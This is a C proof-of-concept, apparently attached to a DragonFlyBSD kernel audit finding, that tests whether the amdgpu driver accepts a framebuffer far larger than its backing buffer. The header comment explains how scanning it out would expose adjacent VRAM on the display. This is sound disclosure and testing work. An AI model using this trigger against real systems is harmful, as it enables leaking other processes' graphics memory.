⬢ DragonFlyBSD Kernel Audit
DF-4183 / amdgpu_fb_oob.c
← back to finding ↓ download raw
/*
 * DF-4183 PoC - amdgpu twin of DF-4181: amdgpu_display_user_framebuffer_create
 * accepts a framebuffer whose pitch * height far exceeds the backing GEM buffer
 * object; the display engine then scans out past the end of the BO.
 *
 * Kernel path (no size validation anywhere in this tree):
 *   DRM_IOCTL_MODE_ADDFB2
 *     -> drm_mode_addfb2 -> drm_internal_framebuffer_create
 *          (drm_framebuffer.c:277): width/height vs mode_config limits (:288)
 *     -> framebuffer_check (drm_framebuffer.c:165-275): only checks format
 *          validity, pitch >= width*cpp (:211) and height*pitch+offsets <=
 *          UINT_MAX (:208) - it NEVER compares the required image size
 *          against the BO size (it cannot: handles are resolved by the
 *          driver's fb_create, dispatched at drm_framebuffer.c:310)
 *     -> amdgpu_display_user_framebuffer_create (amdgpu_display.c:523)
 *          - registered as .fb_create for BOTH the legacy path
 *            (amdgpu_mode_funcs, amdgpu_display.c:561) and the DC path
 *            (amdgpu_dm.c:945)
 *          - drm_gem_object_lookup (:531), rejects imported dma-bufs (:539),
 *            then amdgpu_display_framebuffer_init (:550)
 *     -> amdgpu_display_framebuffer_init (amdgpu_display.c:506)
 *          : drm_helper_mode_fill_fb_struct (:513) +
 *            drm_framebuffer_init (:514) - no check either
 *   Scanout (no re-check at pin/program time):
 *     legacy DCE: dce_v11_0_crtc_do_set_base - amdgpu_bo_pin (:1904),
 *          amdgpu_bo_gpu_offset (:1910), programs GRPH_X_END/Y_END =
 *          fb->width/height (:2073-2074), GRPH_PITCH (:2076-2077),
 *          VIEWPORT_SIZE (:2088-2091)   [same shape dce_v8_0.c:1791,
 *          dce_v10_0.c:1862]
 *     DC: dm_plane_helper_prepare_fb - amdgpu_bo_pin (:3518)
 *     flip: amdgpu_display_crtc_page_flip_target - amdgpu_bo_pin (:191)
 *
 * The PoC creates a tiny dumb buffer (64x64 = 16 KiB) and then asks for a
 * 1920x1080 XRGB8888 framebuffer on it (needs ~8.3 MB of scanout).
 *
 * Expected with bug:  ADDFB2 returns 0 (fb_id valid).  A modeset/flip that
 *   scans out this fb makes the display engine read ~8 MB past the end of
 *   the 16 KiB object in VRAM - adjacent VRAM contents (other buffers)
 *   appear on the physical display: an information disclosure.
 * Expected with fix:  ADDFB2 returns EINVAL (amdgpu_display_framebuffer_init
 *   rejects min_size > amdgpu_bo_size()).
 *
 * Build:  cc -O -o amdgpu_fb_oob amdgpu_fb_oob.c
 * Run:    ./amdgpu_fb_oob [/dev/dri/card0]
 *
 * Needs an amdgpu KMS device with modesetting rights (DRM master / logind).
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

/* minimal mirrors of the DRM UAPI (sizes must match amdgpu_drm.h/drm.h) */
struct drm_mode_create_dumb {
	uint32_t height, width, bpp, flags;
	uint32_t handle, pitch;
	uint64_t size;
};
struct drm_mode_fb_cmd2 {
	uint32_t fb_id, width, height, pixel_format, flags;
	uint32_t handles[4], pitches[4], offsets[4];
	uint64_t modifier[4];
};
#define DRM_IOCTL_BASE		'd'
#define DRM_IOCTL_VERSION	_IOWR(DRM_IOCTL_BASE, 0x00, struct { uint64_t v[8]; })
#define DRM_IOCTL_SET_MASTER	_IO(DRM_IOCTL_BASE, 0x1e)
#define DRM_IOCTL_MODE_CREATE_DUMB _IOWR(DRM_IOCTL_BASE, 0xb2, struct drm_mode_create_dumb)
#define DRM_IOCTL_MODE_ADDFB2	_IOWR(DRM_IOCTL_BASE, 0xb8, struct drm_mode_fb_cmd2)
#define DRM_FORMAT_XRGB8888	(('X') | ('2' << 8) | ('4' << 16) | ('8' << 24))

int
main(int argc, char **argv)
{
	struct drm_mode_create_dumb dumb;
	struct drm_mode_fb_cmd2 fb;
	char *dev = argv[1] ? argv[1] : "/dev/dri/card0";
	int fd;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s (no amdgpu KMS device => "
			"hardware-gated, cannot exercise here)\n",
			dev, strerror(errno));
		exit(2);
	}
	(void)ioctl(fd, DRM_IOCTL_SET_MASTER); /* best effort */

	/* tiny object: 64x64x32bpp = 16 KiB */
	memset(&dumb, 0, sizeof(dumb));
	dumb.width = 64; dumb.height = 64; dumb.bpp = 32;
	if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &dumb) < 0) {
		fprintf(stderr, "CREATE_DUMB: %s\n", strerror(errno));
		exit(1);
	}
	printf("dumb BO: handle=%u size=%llu bytes\n",
	       dumb.handle, (unsigned long long)dumb.size);

	/* oversized framebuffer: 1920x1080x32bpp, pitch 7680 -> 8,294,400 B */
	memset(&fb, 0, sizeof(fb));
	fb.width = 1920; fb.height = 1080;
	fb.pixel_format = DRM_FORMAT_XRGB8888;
	fb.handles[0] = dumb.handle;
	fb.pitches[0] = 1920 * 4;
	if (ioctl(fd, DRM_IOCTL_MODE_ADDFB2, &fb) < 0) {
		printf("ADDFB2: rejected (%s) - %s\n", strerror(errno),
		       errno == EINVAL ? "FIXED (size check active)" :
					 "rejected for another reason");
		return (0);
	}
	printf("ADDFB2: ACCEPTED fb_id=%u for a %llu-byte BO "
	       "(needs 8294400 bytes) - BUG PRESENT\n",
	       fb.fb_id, (unsigned long long)dumb.size);
	return (0);
}